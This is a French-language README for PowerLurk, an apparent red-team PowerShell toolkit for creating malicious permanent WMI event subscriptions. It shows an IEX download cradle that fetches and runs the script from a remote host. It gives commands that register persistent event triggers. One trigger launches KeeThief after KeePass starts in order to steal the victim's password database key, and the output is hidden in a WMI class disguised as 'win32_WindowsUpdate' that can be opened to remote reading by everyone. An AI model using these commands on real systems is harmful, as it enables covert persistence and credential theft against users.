
Événements WMI malveillants utilisant PowerShell
PowerLurk est un ensemble d'outils PowerShell pour créer des abonnements malveillants aux événements WMI. L'objectif est de faciliter le déclenchement d'événements WMI lors d'un test de pénétration ou d'un engagement de red team. Veuillez consulter mon article Creeping on Users with WMI Events: Introducing PowerLurk pour plus d'informations détaillées : https://pentestarmoury.com/2016/07/13/151/
Pour utiliser PowerLurk, vous devez importer le module PowerLurk.ps1 dans votre instance de PowerShell. Cela peut se faire de plusieurs manières :
Import local
PS> powershell.exe -NoP -Exec ByPass -C Import-Module c:\\temp\\PowerLurk.ps1
Téléchargement Cradle
PS> powershell.exe -NoP -C "IEX (New-Object Net.WebClient).DownloadString('http://<IP>/PowerLurk.ps1'); Get-WmiEvent"
Par défaut, Get-WmiEvent interroge WMI pour toutes les instances __FilterToConsumerBinding et les instances __EventFilter et __EventConsumer associées. Les objets renvoyés peuvent être supprimés en les redirigeant vers Remove-WmiObject.
Retourne tous les objets d'événement WMI actifs portant le nom 'RedTeamEvent'
Get-WmiEvent -Name RedTeamEvent
Twitter - @sw4mp_fox Supprimer les objets d'événement WMI 'RedTeamEvent'
Get-WmiEvent -Name RedTeamEvent | Remove-WmiObject
Cette cmdlet est le cœur de PowerLurk. Elle prend une commande, un script ou un bloc de script comme action et un déclencheur préconfiguré, puis crée le filtre WMI, le consommateur et la liaison FilterToConsumerBinding nécessaires pour un abonnement permanent complet aux événements WMI. Un certain nombre de déclencheurs d'événements WMI, ou filtres, sont préconfigurés. Le déclencheur doit être spécifié avec le paramètre -Trigger. Il y a trois consommateurs parmi lesquels choisir : PermanentCommand, PermanentScript et LocalScriptBlock. Exemple d'utilisation :
Écrire l'ID de processus de notepad.exe dans C:\temp\log.txt chaque fois que notepad.exe démarre
Register-MaliciousWmiEvent -EventName LogNotepad -PermanentCommand “cmd.exe /c echo %ProcessId% >> c:\\temp\\log.txt” -Trigger ProcessStart -ProcessName notepad.exe
Nettoyage de l'événement WMI malveillant
Get-WmiEvent -Name LogNotepad | Remove-WmiObject
crée un événement WMI permanent qui exécutera KeeThief (voir KeeThief de @Harmj0y sur https://github.com/adaptivethreat/KeeThief) 4 minutes après le démarrage du processus 'keepass'. Cela donne à la cible le temps de se connecter à sa base de données KeePass.
La logique de KeeThief et sa sortie sont stockées soit dans un espace de noms et une classe WMI personnalisés, soit dans des valeurs de registre. Si un espace de noms et une classe WMI personnalisés sont sélectionnés, vous avez la possibilité d'exposer cet espace de noms afin qu'il puisse être lu à distance par 'Tout le monde'. Les chemins de registre et les noms de valeurs sont personnalisables à l'aide des commutateurs associés ; cependant, cela est facultatif car des valeurs par défaut sont définies. Exemple d'utilisation :
Ajouter un événement KeeThiefLurker en utilisant le stockage de classe WMI
Add-KeeThiefLurker -EventName KeeThief -WMI
Interroger la classe WMI personnalisée
Get-WmiObject -Namespace root\software win32_WindowsUpdate -List
Extraire la sortie de KeeThief de la classe WMI
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($(Get-WmiObject -Namespace root\software win32_WindowsUpdate -List).Properties['Output'].value))
Nettoyage de KeeThiefLurker
Remove-KeeThiefLurker -EventName KeeThief -WMI
Twitter - @sw4mp_f0x